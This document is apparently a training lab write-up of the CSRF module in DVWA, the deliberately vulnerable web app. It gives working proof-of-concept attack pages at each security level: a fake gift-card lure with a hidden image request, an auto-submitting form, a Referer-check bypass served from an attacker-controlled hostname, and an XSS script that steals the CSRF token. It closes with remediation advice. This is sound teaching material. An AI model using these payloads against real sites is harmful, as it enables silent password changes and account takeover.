🔍 06 — CSRF

OWASP: A01 - Broken Access Control | **CWE**: CWE-352 | **Severity**: 🟠 High

📖 Description

DVWA's CSRF module simulates a password change form vulnerable to CSRF. The form allows changing the logged-in user's password. Without CSRF protection, an attacker can trick the victim into silently changing their own password by visiting a malicious page.

DVWA Endpoint: `http://localhost/dvwa/vulnerabilities/csrf/`

⚠️ Security Level: LOW

Vulnerable Request

```
GET /dvwa/vulnerabilities/csrf/?password_new=hacked&passwor
d_conf=hacked&Change=Change HTTP/1.1
Host: localhost
Cookie: PHPSESSID=victim_session; security=low
```

PoC — Malicious HTML Page

```html
<!DOCTYPE html>
<html>
<head><title>Free Gift Card!</title></head>
<body>
  <h1>Claim your free $500 Amazon Gift Card!</h1>
  <p>Loading your reward...</p>

  <!-- Silent CSRF attack via image tag -->
  <img src="http://localhost/dvwa/vulnerabilities/csrf/?pas
sword_new=hacked123&password_conf=hacked123&Change=Change"
```

```
        width="0" height="0" border="0">
</body>
</html>
```

PoC — Auto-Submit Form

```
<!DOCTYPE html>
<html>
<body onload="document.getElementById('f').submit()">
  <form id="f" action="http://localhost/dvwa/vulnerabilitie
s/csrf/" method="GET">
    <input type="hidden" name="password_new" value="attacke
r123">
    <input type="hidden" name="password_conf" value="attack
er123">
    <input type="hidden" name="Change" value="Change">
  </form>
  <p>Loading content...</p>
</body>
</html>
```

Steps to Verify

```
1. Login to DVWA (admin/password), set security=low
2. Save the malicious HTML file above
3. Open the HTML file in the same browser (victim simulatio
n)
4. The request fires automatically with DVWA session cookie
5. Try logging in to DVWA with old password -> fails
6. Try logging in with 'hacked123' -> success
7. CSRF confirmed - password changed without consent
```

PoC — XSS + CSRF Chain

```
// If XSS exists on DVWA, trigger CSRF programmatically:
<script>
var xhr = new XMLHttpRequest();
```

```
xhr.open('GET', 'http://localhost/dvwa/vulnerabilities/csrf/?password_new=chained&password_conf=chained&Change=Change', true);
xhr.withCredentials = true;
xhr.send();
</script>
```

⚠️ Security Level: MEDIUM

Defense Applied

Referer header checked - must contain server hostname.

```
if (stripos($_SERVER['HTTP_REFERER'], $_SERVER['SERVER_NAME']) === false) {
    die('CSRF detected');
}
```

Bypass

```
<!-- Host malicious page at subdomain or path containing target hostname -->
<!-- Example: attacker.com/localhost/attack.html -->
<!-- Or: localhost.attacker.com/csrf.html -->

<!-- Referer will be: http://localhost.attacker.com/ -->
<!-- Contains 'localhost' -> check passes! -->

<img src="http://localhost/dvwa/vulnerabilities/csrf/?password_new=bypassed&password_conf=bypassed&Change=Change">
```

⚠️ Security Level: HIGH

Defense Applied

Synchronizer CSRF token (`user_token`) added to the form.

```
checkToken($_REQUEST['user_token'], $_SESSION['session_toke
n'], 'index.php');
```

Bypass — XSS Reads Token

```
// If DVWA has XSS vulnerability, use it to steal CSRF toke
n
// Step 1: Read the token via XSS
<script>
fetch('/dvwa/vulnerabilities/csrf/')
  .then(r => r.text())
  .then(html => {
    var token = html.match(/user_token.*?value='([^']+)'/)
[1];
    // Step 2: Use token to submit password change
    fetch('/dvwa/vulnerabilities/csrf/?password_new=xss_csr
f&password_conf=xss_csrf&Change=Change&user_token=' + toke
n, {
      credentials: 'include'
    });
  });
</script>
```

⚠️ Security Level: IMPOSSIBLE

Defense Applied

- CSRF token validation
- Current password required to change password
- PDO prepared statements

```
// Must provide current password to change it
if ($pass_curr !== $stored_hash) {
    die('Current password incorrect');
}
```

Why It Stops All CSRF

Attacker cannot know victim's current password, so even with a valid CSRF token, they cannot complete the password change.

📊 Impact Analysis

Impact	Description
Account Takeover	Change password → lock out victim
Financial Fraud	Trigger bank transfers
Admin Actions	Delete users, change settings

✅ Remediation

1. **CSRF Tokens**: Unique, per-session, per-form tokens
2. **SameSite Cookie**: `SameSite=Strict` or `SameSite=Lax`
3. **Re-authentication**: Require current password for sensitive changes
4. **Custom Headers**: For AJAX, require `X-Requested-With: XMLHttpRequest`
5. **Origin Validation**: Check Origin header server-side

```
// Token generation
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));

// Validation
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_toke
n'])) {
    die('CSRF token mismatch');
}
```

📚 References

- CWE-352: https://cwe.mitre.org/data/definitions/352.html
- OWASP CSRF Prevention: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html